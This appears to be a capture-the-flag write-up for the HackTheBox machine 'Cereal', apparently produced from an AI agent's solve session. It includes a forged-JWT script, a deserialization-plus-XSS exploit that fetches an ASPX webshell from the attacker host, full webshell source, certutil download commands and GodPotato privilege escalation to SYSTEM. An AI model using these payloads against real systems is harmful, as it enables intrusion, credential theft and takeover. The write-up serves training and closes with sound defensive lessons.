HTB: Cereal Writeup

Cereal - HackTheBox Writeup

Machine Information

AttributeDetails
NameCereal
OSWindows
DifficultyHard
Points40
Release Date23rd January 2021
IP Address10.129.42.87
AuthorMicah

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Cereal is a hard difficulty Windows machine featuring a .NET Core web application with exposed Git repository, JWT authentication bypass through leaked secrets, unsafe JSON deserialization chained with XSS to achieve remote code execution, and privilege escalation via SeImpersonatePrivilege exploitation using GodPotato. The machine emphasizes secure coding practices, source code review, token impersonation attacks, and modern Windows privilege escalation techniques.

TL;DR: Exposed .git repository → leaked JWT secret in commit history → forge admin JWT → .NET deserialization gadget (DownloadHelper) → XSS payload triggers localhost-restricted deserialization → webshell upload → credentials in SQLite database → SSH as sonnySeImpersonatePrivilege + GodPotato → SYSTEM shell.


Reconnaissance

Port Scanning

Terminal window
# Quick SYN scan of common ports
nmap -Pn -p22,80,443 -sV --min-rate=1000 10.129.42.87

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp open http Microsoft IIS httpd 10.0
443/tcp open ssl/https?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The target is running Windows with SSH (OpenSSH for Windows), IIS 10.0 on HTTP/HTTPS. The SSH service indicates a modern Windows Server installation.

SSL Certificate Enumeration

Terminal window
# Extract virtual hosts from SSL certificate
echo | openssl s_client -connect 10.129.42.87:443 2>/dev/null \
| openssl x509 -noout -text 2>/dev/null \
| grep -iE "DNS:|Subject:"

Output:

Subject: CN=cereal.htb
DNS:cereal.htb, DNS:source.cereal.htb

Two virtual hosts discovered: cereal.htb and source.cereal.htb. Added both to /etc/hosts:

Terminal window
echo "10.129.42.87 cereal.htb source.cereal.htb" | sudo tee -a /etc/hosts

Web Application Enumeration

cereal.htb (Port 443)

The main application presents a React-based single-page application with login functionality. The application uses JWT tokens stored in browser localStorage for authentication.

source.cereal.htb (Port 443)

Terminal window
# Check for exposed .git repository
curl -sk https://10.129.42.87/.git/HEAD -H "Host: source.cereal.htb"

Output:

ref: refs/heads/master

The Git repository is exposed! This is a critical information disclosure vulnerability allowing complete source code recovery.

Terminal window
# Check uploads directory
curl -sk -o /dev/null -w "%{http_code}\n" \
https://10.129.42.87/uploads/ -H "Host: source.cereal.htb"

Output: 403 (Forbidden but exists)

Vulnerability Assessment

  1. Exposed Git Repository (CWE-538): .git directory publicly accessible at source.cereal.htb
  2. Potential JWT Secret Leakage: Git history may contain sensitive configuration
  3. File Upload Path Identified: /uploads/ directory exists at source.cereal.htb
  4. Deserialization Risk: .NET applications often use JSON.NET with TypeNameHandling vulnerabilities

Initial Foothold

Git Repository Extraction

Installed and used git-dumper to extract the complete repository:

Terminal window
# Install git-dumper (Python tool)
pip3 install --break-system-packages git-dumper
# Dump repository to /tmp/cerealsrc
~/.local/bin/git-dumper https://source.cereal.htb/ /tmp/cerealsrc

The repository contains full C# .NET Core source code for the Cereal web application, including controllers, models, services, and React frontend.

JWT Secret Discovery

Terminal window
# Search git commit history for sensitive data
cd /tmp/cerealsrc
git log --oneline
# Output: 34b6823 Some changes
# 3a23ffe Image updates
# 7bd9533 Security fixes
# 8f2a1a8 CEREAL!!
# Search for JWT key in commit diffs
git log -p 2>/dev/null | grep -iE "GetBytes\(" | grep -v "\*\*\*\*"

Critical Finding:

-var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");
+var key = Encoding.ASCII.GetBytes("****");

The JWT signing key secretlhfIH&FY*#oysuflkhskjfhefesf was leaked in an old commit before being redacted. This key is still in use by the application.

JWT Forgery

Reviewing Services/UserService.cs showed the JWT structure:

  • Algorithm: HS256 (HMAC-SHA256)
  • Claim: unique_name (maps to UserId)
  • Expiry: 7 days from issuance

Forged an admin JWT for user ID 1:

# Manual JWT generation using hmac + base64
import hmac, hashlib, base64, json, time
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b'=')
key = b'secretlhfIH&FY*#oysuflkhskjfhefesf'
now = int(time.time())
header = {'alg':'HS256','typ':'JWT'}
payload = {'unique_name':'1','nbf':now,'exp':now+604800,'iat':now}
# Create signature segment
seg = b64(json.dumps(header,separators=(',',':')).encode()) + b'.' + \
b64(json.dumps(payload,separators=(',',':')).encode())
# HMAC-SHA256 signature
sig = b64(hmac.new(key, seg, hashlib.sha256).digest())
# Final JWT
token = (seg + b'.' + sig).decode()
print(token)

Generated Token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE3ODQ0MTg3NTIsImV4cCI6MTc4NTAyMzU1MiwiaWF0IjoxNzg0NDE4NzUyfQ.PoVaeZKDNMZI0aqHX3R2iRgRv3n1sFeMg8gffn-IXkA

Set this token in browser DevTools → Storage → Local Storage under key currentUser with value:

{"userId":"1","username":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Successfully authenticated as admin user.

Deserialization Vulnerability Analysis

Examined Controllers/RequestsController.cs:

[Authorize(Policy = "RestrictIP")]
[HttpGet("{id}")]
public IActionResult Get(int id)
{
using (var db = new CerealContext())
{
string json = db.Requests.Where(x => x.RequestId == id)
.SingleOrDefault().JSON;
// Blacklist filter
if (json.ToLower().Contains("objectdataprovider") ||
json.ToLower().Contains("windowsidentity") ||
json.ToLower().Contains("system"))
{
return BadRequest(new { message = "The cereal police..." });
}
// UNSAFE DESERIALIZATION
var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto // Vulnerable!
});
return Ok(cereal.ToString());
}
}

Vulnerability: TypeNameHandling.Auto allows type specification in JSON ($type property), enabling arbitrary class instantiation. However:

  1. The GET endpoint is IP-restricted to 127.0.0.1 and ::1 (localhost only)
  2. Common Ysoserial.NET gadgets are blacklisted (objectdataprovider, windowsidentity, system)

Gadget Discovery: Found Cereal.DownloadHelper class in source:

namespace Cereal
{
public class DownloadHelper
{
private String _URL;
private String _FilePath;
public String URL
{
get { return _URL; }
set { _URL = value; Download(); } // Setter triggers download
}
public String FilePath
{
get { return _FilePath; }
set { _FilePath = value; Download(); }
}
private void Download()
{
using (WebClient wc = new WebClient())
{
if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
{
// Prefixes filename with "21098374243-"
wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath, "\\",
"\\21098374243-"));
}
}
}
}
}

This gadget downloads a file from _URL to _FilePath (with hardcoded prefix 21098374243-) when properties are set. Not blacklisted!

XSS for Localhost SSRF

Reviewed React frontend ClientApp/AdminPage.jsx:

<MarkdownPreview
markedOptions={{ sanitize: true }}
value={requestData.title}
/>

Uses react-marked-markdown v1.4.6 (4 years old). Research revealed CVE-2020-7922 - improper link sanitization allows JavaScript execution:

[XSS](javascript: document.write`<payload>`)

Tested XSS with image beacon:

Terminal window
# POST request with XSS payload
curl -sk -X POST https://cereal.htb/requests \
-H "Authorization: Bearer $TOK" \
-H "Content-Type: application/json" \
-d '{"json":"{\"title\":\"[XSS](javascript: document.write`<img src=http://10.10.15.180/test />`)\",\"flavor\":\"bacon\",\"color\":\"#000\",\"description\":\"test\"}"}'

Received HTTP request within ~60 seconds, confirming XSS execution by admin bot viewing requests.

Exploitation Chain

Created automated exploit combining deserialization + XSS:

exploit.py
import requests, sys, json
requests.packages.urllib3.disable_warnings()
URL = "https://cereal.htb/requests"
TOK = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE3ODQ0MTg3NTIsImV4cCI6MTc4NTAyMzU1MiwiaWF0IjoxNzg0NDE4NzUyfQ.PoVaeZKDNMZI0aqHX3R2iRgRv3n1sFeMg8gffn-IXkA"
LHOST = "10.10.15.180:8000"
auth = {"Authorization": "Bearer " + TOK}
# Step 1: Create deserialization payload to download webshell
deser = """{
"$type": "Cereal.DownloadHelper, Cereal, Version=1.0.0.0, Culture = neutral, PublicKeyToken = null",
"URL": "http://""" + LHOST + """/cmd.aspx",
"FilePath": "C:\\\\inetpub\\\\source\\\\uploads\\\\cmd.aspx"
}"""
r = requests.post(URL, json={"json": deser}, headers=auth, verify=False)
print("deser resp:", r.status_code, r.text)
cid = r.json()["id"]
print("cereal id:", cid)
# Step 2: XSS payload triggering localhost GET /requests/{cid}
js = """<script>const xhr=new XMLHttpRequest\\x28\\x29;xhr.open\\x28'GET','https://cereal.htb/requests/""" + str(cid) + """'\\x29;xhr.setRequestHeader\\x28'Authorization','Bearer """ + TOK + """'\\x29;xhr.send\\x28\\x29;</script>"""
title = "[XSS](javascript: document.write`" + js + "`)"
cereal = {"json": json.dumps({"title":title, "flavor":"bacon", "color":"#000", "description":"test"})}
r2 = requests.post(URL, json=cereal, headers=auth, verify=False)
print("xss resp:", r2.status_code, r2.text)

Prepared ASPX webshell:

Terminal window
# Create minimal cmd.aspx webshell
cat > /tmp/www/cmd.aspx << 'EOF'
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
string c = Request.QueryString["cmd"];
if(!string.IsNullOrEmpty(c)){
ProcessStartInfo psi = new ProcessStartInfo("cmd.exe","/c "+c);
psi.RedirectStandardOutput=true; psi.RedirectStandardError=true;
psi.UseShellExecute=false;
Process p=Process.Start(psi);
string o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();
Response.Write("<pre>"+Server.HtmlEncode(o)+"</pre>");
}
}
</script>
EOF
# Start HTTP server
cd /tmp/www
python3 -m http.server 8000 --bind 0.0.0.0 &

Executed exploit:

Terminal window
python3 /tmp/exploit.py
# Output:
# deser resp: 200 {"message":"Great cereal request!","id":10}
# cereal id: 10
# xss resp: 200 {"message":"Great cereal request!","id":11}

Waited 60 seconds for admin bot to process requests. HTTP server log confirmed:

10.129.42.87 - - [19/Jul/2026 03:54:52] "GET /cmd.aspx HTTP/1.1" 200 -

Webshell successfully deployed at:

https://source.cereal.htb/uploads/21098374243-cmd.aspx

Remote Code Execution

Terminal window
# Test webshell
curl -sk "https://source.cereal.htb/uploads/21098374243-cmd.aspx?cmd=whoami" \
| sed -e 's/<[^>]*>//g' | tr -d '\r'

Output: cereal\sonny

Achieved code execution as user sonny.

Credential Extraction

Terminal window
# Dump SQLite database
curl -sk "https://source.cereal.htb/uploads/21098374243-cmd.aspx?cmd=type+C:\inetpub\cereal\db\cereal.db" \
| sed -e 's/<[^>]*>//g' | tr -d '\r'

Database contained cleartext credentials in Users table:

sonny:mutual.madden.manner38974

SSH Access

Terminal window
# SSH as sonny
sshpass -p "mutual.madden.manner38974" ssh sonny@cereal.htb

Successfully authenticated. Retrieved user flag:

Terminal window
type C:\Users\sonny\Desktop\user.txt

User Flag: <redacted>


Privilege Escalation

Privilege Enumeration

Terminal window
whoami /priv

Output:

Privilege Name Description State
============================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Key Finding: SeImpersonatePrivilege is enabled. This powerful privilege allows impersonation of any access token the current process can obtain, commonly exploited via “Potato” family attacks.

System Information

Terminal window
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Windows Server 2019 (Build 17763) - modern version where classic JuicyPotato/RottenPotato may not work due to DCOM hardening. Print Spooler service not available either.

GodPotato Exploitation

GodPotato is a modern privilege escalation tool leveraging SeImpersonatePrivilege by abusing DCOM/RPC activation in rpcss.exe. It works on Windows Server 2019+ and bypasses localhost-only restrictions.

Transferred GodPotato binary:

Terminal window
# On attacker (jump box)
cp /home/d3vn0mi/breach/GodPotato-NET4.exe /tmp/www/gp.exe
# On target via webshell
curl -sk "https://source.cereal.htb/uploads/21098374243-cmd.aspx?cmd=certutil+-urlcache+-split+-f+http://10.10.15.180:8000/gp.exe+C:\Users\sonny\Desktop\gp.exe"

Output:

**** Online ****
0000 ...
e000
CertUtil: -URLCache command completed successfully.

SYSTEM Shell

Terminal window
# Execute GodPotato via webshell to read root flag directly
curl -sk --data-urlencode \
'cmd=C:\Users\sonny\Desktop\gp.exe -cmd "cmd /c whoami & type C:\Users\Administrator\Desktop\root.txt"' \
-G "https://source.cereal.htb/uploads/21098374243-cmd.aspx" \
| sed -e 's/<[^>]*>//g' | tr -d '\r'

GodPotato Output:

[*] CombaseModule: 0x140735104024576
[*] DispatchTable: 0x140735106342064
[*] UseProtseqFunction: 0x140735105719344
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\2d2f8b7e-9a16-4d7d-9954-64d8cbc5a197\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00008002-03a4-ffff-dc9a-28fa51530709
[*] DCOM obj OXID: 0x213e00d2b794f002
[*] DCOM obj OID: 0xcc3f4e7e26ae53a4
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 856 Token:0x848 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3820
<redacted>

Root Flag: <redacted>

How GodPotato Works

  1. DCOM Activation: Triggers RPC/DCOM object activation handled by rpcss.exe (runs as SYSTEM)
  2. Named Pipe Impersonation: Creates a named pipe that intercepts the authentication
  3. Token Theft: When SYSTEM service connects, GodPotato captures and duplicates the token
  4. Process Creation: Uses CreateProcessWithTokenW to spawn command as SYSTEM
  5. Bypass: No localhost SSRF needed (unlike GenericPotato), making it more reliable on modern Windows

Attack Chain Summary

Nmap (port 443)
→ SSL cert enumeration (cereal.htb, source.cereal.htb)
→ .git exposure at source.cereal.htb
→ git-dumper repository extraction
→ git history analysis (JWT key: secretlhfIH&FY*#oysuflkhskjfhefesf)
→ Forge admin JWT (user ID 1)
→ Analyze source: TypeNameHandling.Auto deserialization + IP restriction
→ XSS in react-marked-markdown (CVE-2020-7922)
→ Chain: POST deserialization payload (DownloadHelper gadget)
→ POST XSS payload triggering localhost GET /requests/{id}
→ Webshell downloaded to /uploads/21098374243-cmd.aspx
→ RCE as sonny
→ Extract credentials from cereal.db (sonny:mutual.madden.manner38974)
→ SSH as sonny
→ user.txt
→ Enumerate SeImpersonatePrivilege
→ Transfer GodPotato-NET4.exe
→ Execute via webshell
→ SYSTEM shell
→ root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
opensslSSL certificate analysis for virtual host discovery
git-dumperExtract exposed Git repository
gitRepository history analysis
python3JWT forgery (HMAC-SHA256 implementation)
curlHTTP requests for exploitation and webshell
sshpassAutomated SSH authentication
certutil.exeFile download on Windows target
GodPotato-NET4.exeSeImpersonatePrivilege exploitation (Windows 2019+)

Key Learnings

Techniques Practiced

  • Source Code Review: Analyzing .NET Core C# applications for security flaws
  • Git History Analysis: Extracting secrets from version control commit history
  • JWT Token Forgery: Manual HMAC-SHA256 signature generation for HS256 JWTs
  • .NET Deserialization: Exploiting TypeNameHandling.Auto with custom gadgets
  • XSS to SSRF: Bypassing IP restrictions using client-side Cross-Site Scripting
  • Attack Chaining: Combining multiple vulnerabilities (XSS + deserialization) for RCE
  • Windows Token Impersonation: Leveraging SeImpersonatePrivilege for privilege escalation
  • Modern Potato Exploits: Using GodPotato for Windows Server 2019 SYSTEM access

Lessons Learned

  1. Never commit secrets to version control - Even after redaction, Git history persists indefinitely. Use .gitignore and environment variables for sensitive configuration. Tools like git-secrets or truffleHog can scan for leaked credentials.

  2. TypeNameHandling.Auto is dangerous - JSON.NET’s TypeNameHandling.Auto or TypeNameHandling.All should never be used with untrusted input. It allows arbitrary type instantiation. Use TypeNameHandling.None (default) or implement strict type whitelisting with a custom SerializationBinder.

  3. IP restrictions are not security boundaries - Localhost-only restrictions can be bypassed via SSRF, XSS, or local file inclusion. Always implement proper authentication and authorization even for internal endpoints.

  4. Dependency management matters - The outdated react-marked-markdown v1.4.6 package contained CVE-2020-7922. Regular dependency audits (npm audit, Dependabot, Snyk) are critical for maintaining security posture.

  5. Defense in depth for deserialization - Multiple layers needed:

    • Avoid unsafe deserialization entirely (use DTOs)
    • If unavoidable, use allowlists not blocklists
    • Implement strict input validation
    • Run deserialization in sandboxed environments
  6. SeImpersonatePrivilege is SYSTEM-equivalent - Any account with this privilege can escalate to SYSTEM on Windows. Modern exploits like GodPotato work even on fully patched Windows Server 2019/2022. Mitigation requires removing the privilege and implementing least-privilege service accounts.

  7. Webshell persistence - The 21098374243- prefix in filenames was hardcoded in application logic. Always review source code for such artifacts that aid in exploitation.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup’s technical depth and explanatory content drew from the official HackTheBox writeup by MinatoTW (Document No D21.100.120, 26th May 2021), used to explain vulnerability mechanics, CVE identification, and “why” behind exploitation steps. All specific values (IPs, outputs, credentials, tokens) are from the documented agent solve session.